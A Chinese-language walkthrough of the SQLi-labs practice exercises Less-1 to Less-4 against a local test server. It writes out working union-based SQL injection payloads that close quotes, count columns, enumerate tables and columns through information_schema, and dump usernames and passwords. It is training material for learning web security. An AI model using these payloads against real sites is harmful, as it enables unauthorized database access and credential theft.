Sqlilabs注入Less-1
首先一个简单的尝试,尝试 ’ 发现报错,发现属于字符型的注入
尝试进行闭合(闭合的方式有几种,我比较喜欢采用
--+-
的方式闭合。也可以使用%23或#闭合)
order by语句查询字段数
http://127.0.0.1:8080/1/Less-1/?id=1' order by 3 --+-
知道字段数后开始使用联合查询
http://127.0.0.1:8080/1/Less-1/?id=1' union select 1,2,3--+-
发现回显点2,3可以显示。
开始查询一些基本信息(数据库名,当前账户,版本)
-1' union select 1,2,concat_ws("^",database(),user(),version()) limit 0,1
开始查询表
-1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
查询出来的第一个表为emails,通过更改 limit 0,1中0位置的数字来查询不同的表
当limit 3,1时,我们会发现users表
可以开始进一步的查询字段
-1' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+-
发现第一字段为id 第二个为username,第三个为password
知道表名和字段可以尝试开始获取数据,又因为是当前数据库,可以直接使用
-1' union select 1,2,concat_ws("^",id,username,password) from users limit 0,1--+-
完成一次简单的注入
Sqlilabs注入Less-2
还是首先开始尝试’报错,发现出现’'其中有一个’是我们自己添加的,于是可以直接加参数,由此得出该注入属于整形注入
其他过程同Sqlilabs注入Less-1一模一样,同样的过程,同样的方法
1 order by 3 limit 0,1 --+-
1 union select 1,2,concat_ws("^",database(),user(),version()) limit 0,1
1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
1 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
Sqlilabs注入Less-3
老规矩还是尝试’注入,发现出现下面的情况
只是多出了一个’),继续闭合掉就OK了,字符型注入
构造1') --+-
回显正常,可以开始正常注入了,步骤还是和Sqlilabs注入Less-1一样
Sqlilabs注入Less-4
老规矩还是尝试’注入,发现没有效果正常显示,联想到以前看过的知识推测,会不会是",于是开始尝试发现同Sqlilabs注入Less-3回显的错误差不多,唯一的差别在于3是’报错回显4需要"才会报错。嗯,剩下的又回到了,最基本的注入